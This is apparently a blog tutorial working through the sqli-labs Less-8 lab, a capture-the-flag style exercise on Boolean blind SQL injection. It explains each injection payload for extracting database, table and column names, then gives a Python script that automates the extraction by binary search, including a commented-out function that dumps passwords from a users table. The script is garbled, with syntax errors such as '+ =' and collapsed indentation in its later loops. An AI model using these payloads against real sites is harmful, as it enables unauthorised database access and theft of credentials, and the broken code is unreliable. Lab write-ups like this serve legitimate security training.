A brief discussion on Boolean blind injection (sqli-labs less-8)

I have been doing Boolean blind injection questions for the past two days (for example: sqli-labs less-8). I am almost sick. It is too troublesome to try characters one by one. I have found several Boolean blind injection scripts on the Internet, and they are all similar. I have studied them. After a while, I wrote a script myself, which was barely usable. (There are so many big guys online!!!)

Let’s talk about what Boolean blind injection is

Boolean blind injection is a means of SQL injection when the web page has no echo or error and cannot use joint query and error injection. It uses the returned Boolean values True and False to determine whether the injection statement is successful, so it is called Boolean blind injection.

Generally speaking, SQL injection questions first test the name of the database, then the table name, field name, and finally the field value. However, when there is no echo on the page, our query will not have specific results, so we pass the judgment statement. to confirm.

During Boolean blind injection, if the judgment is correct, a specific Boolean value will be returned. In the script, we use this value to determine whether the injection is successful.

Determine the length of the database name:

?id=1' and length(database()) > 4 -- + 

length() It can return the length of the string

database() is used to return the name of the current database

So the meaning of this code is: Determine whether the length of the current database name is greater than 4

The result is that the database library name length is 8

Determine the database name

?id=1' and ascii(substr((select database()),1,1)) = 101 -- + 

ascii() can convert a character into an ascii code

substr(str,num1,num2) This function is used to intercept characters in a string. “str” is a string of strings, “num1” is the intercepted position in the string, and “num2” is the number of intercepted characters. So substr((select database()),1,1) is to intercept the first character of the database name;

We convert it into ascii code for judgment. If the judgment is successful, we will get the first character, then judge the second character, and so on (this is too cumbersome, I put the python script at the end)

When we determine what the database is, we can test the tables in the database

?id=1' and (select count(table_name) from information_schema.tables where table_schema = database()) > 4 -- + 

count() aggregate function, which is used to return the number of rows in a table. It can be understood in a popular way. It can calculate the number of specific values.

In this SQL statement, we use the count() function to calculate the number of tables in the database and make judgments.

Abbreviation:

Judgment table name:

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) > 101-- + 

limit 0,1 Clause used to limit the number of rows returned in a result set in a SQL query. It can be understood in a popular way that “0, 1” returns the first row, “1, 1” returns the second row, and “2, 1” returns the third row.

After all, there is more than one table in a database. You need to test one table by table and one character by character (/(ㄒoㄒ)/~~)

Number of judgment fields:

?id=1' and (select count(column_name) from information_schema.columns where table_name = 'table name') > 4 -- + 

column field column_name field name

Determine field name:

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'table name' limit 0,1),1,1)) > 101-- + 

The last step is to get the flag (which is also judged character by character, so exhausting) and go directly to the script:

I separated the method of querying field values in the script because I think there are too many fields. If running them one by one is not as good as running them selectively, the general flags will be hidden in special fields. It can be seen that running them one by one is a bit wasteful. time

import requests

url = 'http://589bbbf8-a1d7-45fe-831e-28af217c1c17.node4.buuoj.cn/Less-8/'
str1 = "You are in..."

#Query the length and name of the database library name
def test_database():
    payload = "?id=1' and length(database()) = {}-- + " #Judge database length
    global database
    for i in range (1,10):
        new_payload = payload.format(i)
        new_url = url + new_payload
        r = requests.get(new_url)

        if str1 in r.text:
            print(f"Database name length: {i}")
            break

    payload = "?id=1' and ascii(substr((select database()),{},1)) > {}-- + " #Determine the database name
    database = ""
    for j in range (1,20):
        min=65
        max=122
        mid = (min + max) // 2

        while(min<max):
            new_payload = payload.format(j,mid)
            new_url = url + new_payload
            r = requests.get(new_url)
            if str1 in r.text:
                min=mid+1
            else:
                max=mid
            mid = (min + max) // 2

        if (chr(mid)=="A"):
            break
        database + = chr(mid)
    print(f"Database: {database}")
    return database

#Query table quantity
def test_table():
    global table_count
    print("Number of tables:")
    payload = "?id=1' and (select count(table_name) from information_schema.tables where table_schema = database()) = {}-- + "

    for i in range (1,10):
        new_payload = payload.format(i)
        new_url = url + new_payload
        r = requests.get(new_url)

        if str1 in r.text:
            table_count = i
            print(f"{i}")
            break

#Query the name of the table, number of table fields, field names
def all_table_column():
    global table_name
    global column_count
    global column_name
    payload1 = "?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {},1),{},1)) > {}-- + "
    for i in range (0,table_count):
        table_name = ""
        for j in range (1,10):
            min=65
            max = 123
            mid = (min + max) // 2

            while(min<max): #Loop character and ascii comparison
                new_payload = payload1.format(i,j,mid)
                new_url = url + new_payload
                r = requests.get(new_url)

                if str1 in r.text:
                    min=mid+1
                else:
                    max=mid
                mid = (min + max) // 2

            if chr(mid) == "A":
                break
            table_name + = chr(mid)
        print(f"{i + 1}th table: {table_name}")

        print(f"Number of fields in {table_name} table: ")
        payload2 = "?id=1' and (select count(column_name) from information_schema.columns where table_name = '" + table_name + "')={}-- + "
        for l in range (1,10):
            new_payload = payload2.format(l)
            new_url = url + new_payload
            r = requests.get(new_url)

            if str1 in r.text:
                print(f"{l}")
                column_count = l


        payload3 = "?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = '" + table_name + "' limit {},1),{},1)) > {}-- + "

        for o in range (0,column_count):
        column_name = ""
        for p in range (1,10): #Test the length and name of the field
        min=65
        max = 123
        mid = (min + max) // 2

        while(min<max):
        new_payload = payload3.format(o,p,mid)
        new_url = url + new_payload
        r = requests.get(new_url)

        if str1 in r.text:
        min=mid+1
else:
        max=mid
        mid = (min + max) // 2

        if chr(mid) == "A":
        break
        column_name + = chr(mid)
        print(f"{o + 1}th field name: {column_name}")


#The function for querying field values is separated
# def last_value():
#global value
# global count
# value = ""
# count = 0
# payload = "?id=1' and (select count(password) from users)={} -- + "
# #payload = "?id=1' and ascii(substr((select password from users limit {},1),{},1)) > {}-- + "
# for j in range(1,20):
# new_payload = payload.format(j)
# new_url = url + new_payload
# r = requests.get(new_url)
# print(new_url)
# if str1 in r.text:
# print(f"There are {j} field values")
# count = j
# break
# payload = "?id=1' and ascii(substr((select password from users limit {},1),{},1)) > {}-- + "
# for i in range(0,count):
# for k in range (1,99):
# min = 33
# max = 125
# mid = (min + max) // 2
# while(min<max):
# new_payload = payload.format(i,k,mid)
# new_url = url + new_payload
# r = requests.get(new_url)
# if str1 in r.text:
# min = mid + 1
#else:
# max = mid
# mid = (min + max) // 2
# print(new_url)
# if chr(mid) == '!':
# break
# value + = chr(mid)
# if i == count-1:
# value + = '.'
#else:
# value + = ','
# print(f"value: {value}")

        test_database()
        test_table()
        all_table_column()
#last_value()

Script running results:

Here we select the field values queried in the users table.